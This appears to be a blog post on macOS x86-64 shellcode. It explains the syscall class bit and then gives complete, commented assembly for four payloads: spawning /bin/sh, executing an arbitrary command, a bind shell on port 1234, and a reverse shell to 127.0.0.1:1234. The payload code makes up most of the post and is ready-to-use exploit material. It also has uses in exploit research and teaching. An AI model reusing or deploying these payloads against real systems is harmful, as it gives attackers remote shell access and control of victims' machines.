Introduction
Since Mac OSX is derived from BSD sources, I wrongly presumed the BSD codes would work without problem. 0x4d_ having a Mac was able to confirm they did not work and so we realized quickly the solution was simply setting bit 25 of EAX register using BTS instruction (Bit Test and Set).
; bts eax, 25
You can set alternatively using ROL/ROR/SHL.
Apple does it their way
System calls in OSX follow the AMD64 ABI except for one minor difference. The last 8-bits of EAX register represent the “class” of system call as described by Dustin Schultz in Mac OS X 64 Bit Assembly System Calls.
Mac OS X or likely BSD has split up the system call numbers into several different “classes.” The upper order bits of the syscall number represent the class of the system call, in the case of write and exit, it’s SYSCALL_CLASS_UNIX and hence the upper order bits are 2! Thus, every Unix system call will be (0×2000000 + unix syscall #).
The main difference between system calls on Mac OSX and BSD (which OSX is derived from) is the class. As you can see defined in syscall_sw.h
/* * Syscall classes for 64-bit system call entry. * For 64-bit users, the 32-bit syscall number is partitioned * with the high-order bits representing the class and low-order * bits being the syscall number within that class. * The high-order 32-bits of the 64-bit syscall number are unused. * All system classes enter the kernel via the syscall instruction. * * These are not #ifdef'd for x86-64 because they might be used for * 32-bit someday and so the 64-bit comm page in a 32-bit kernel * can use them. */ #define SYSCALL_CLASS_SHIFT 24 #define SYSCALL_CLASS_MASK (0xFF << SYSCALL_CLASS_SHIFT) #define SYSCALL_NUMBER_MASK (~SYSCALL_CLASS_MASK) #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
So when constructing a system call, they use the following macro defined in same header file.
#define SYSCALL_CONSTRUCT_UNIX(syscall_number) \ ((SYSCALL_CLASS_UNIX << SYSCALL_CLASS_SHIFT) | \ (SYSCALL_NUMBER_MASK & (syscall_number)))
Spawn /bin/sh
; 26 bytes execute /bin/sh ; bits 64 xor esi, esi ; esi = 0 mul esi ; eax = 0, edx = 0 bts eax, 25 ; eax = 0x02000000 mov al, 59 ; rax = sys_execve mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 syscall
Execute command
; 43 bytes execute command ; bits 64 push 59 pop rax ; eax = sys_execve cdq ; edx = 0 bts eax, 25 ; eax = 0x0200003B mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 ; --------- push rdx ; 0 push word '-c' push rsp pop rbx ; rbx="-c", 0 push rdx ; argv[3]=NULL jmp l_cmd64 r_cmd64: ; argv[2]=cmd push rbx ; argv[1]="-c" push rdi ; argv[0]="/bin//sh" push rsp pop rsi ; rsi=argv syscall l_cmd64: call r_cmd64 ; put your command here followed by null terminator
Bind port to shell
; 91 bytes bind shell ; bits 64 mov eax, ~0xd2040200 & 0xFFFFFFFF not eax push rax xor ebp, ebp bts ebp, 25 ; step 1, create a socket ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push rbp pop rax ; rax = 0x02000000 cdq ; rdx = IPPROTO_IP push 1 pop rsi ; rsi = SOCK_STREAM push 2 pop rdi ; rdi = AF_INET mov al, 97 ; eax = sys_socket syscall xchg eax, edi ; edi=s xchg eax, ebx ; ebx=2 ; step 2, bind to port 1234 ; bind(s, {AF_INET,1234,INADDR_ANY}, 16) push rbp pop rax push rsp pop rsi mov dl, 16 mov al, 104 syscall ; step 3, listen ; listen(s, 0); push rax pop rsi push rbp pop rax mov al, 106 syscall ; step 4, accept connections ; accept(s, 0, 0); push rbp pop rax mov al, 30 cdq syscall xchg eax, edi ; edi=r push rbx ; rsi=2 pop rsi ; step 5, assign socket handle to stdin,stdout,stderr ; dup2(r, FILENO_STDIN) ; dup2(r, FILENO_STDOUT) ; dup2(r, FILENO_STDERR) dup_loop64: push rbp pop rax mov al, 90 ; rax=sys_dup2 syscall sub esi, 1 jns dup_loop64 ; jump if not signed ; step 6, execute /bin/sh ; execve("/bin//sh", {"/bin//sh", NULL}, 0); xor esi, esi cdq ; rdx=0 mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; "/bin//sh", 0 ; --------- push rbp pop rax mov al, 59 ; rax=sys_execve syscall
Reverse connect shell
; 79 byte reverse shell ; bits 64 mov rcx, ~0x0100007fd2040200 not rcx push rcx xor ebp, ebp bts ebp, 25 ; step 1, create a socket ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push rbp pop rax cdq ; rdx=IPPROTO_IP push 1 pop rsi ; rsi=SOCK_STREAM push 2 pop rdi ; rdi=AF_INET mov al, 97 syscall xchg eax, edi ; edi=s xchg eax, esi ; esi=2 ; step 2, assign socket handle to stdin,stdout,stderr ; dup2(r, FILENO_STDIN) ; dup2(r, FILENO_STDOUT) ; dup2(r, FILENO_STDERR) dup_loop64: push rbp pop rax ; eax = 0x02000000 mov al, 90 ; rax=sys_dup2 syscall sub esi, 1 jns dup_loop64 ; jump if not signed ; step 3, connect to remote host ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16); push rbp pop rax push rsp pop rsi mov dl, 16 ; rdx=sizeof(sa) mov al, 98 ; rax=sys_connect syscall ; step 4, execute /bin/sh ; execve("/bin//sh", NULL, 0); push rax pop rsi push rbp pop rax cdq ; rdx=0 mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; "/bin//sh", 0 mov al, 59 ; rax=sys_execve syscall
Sources
Thanks to 0x4d_ for helping fix problems with initial codes.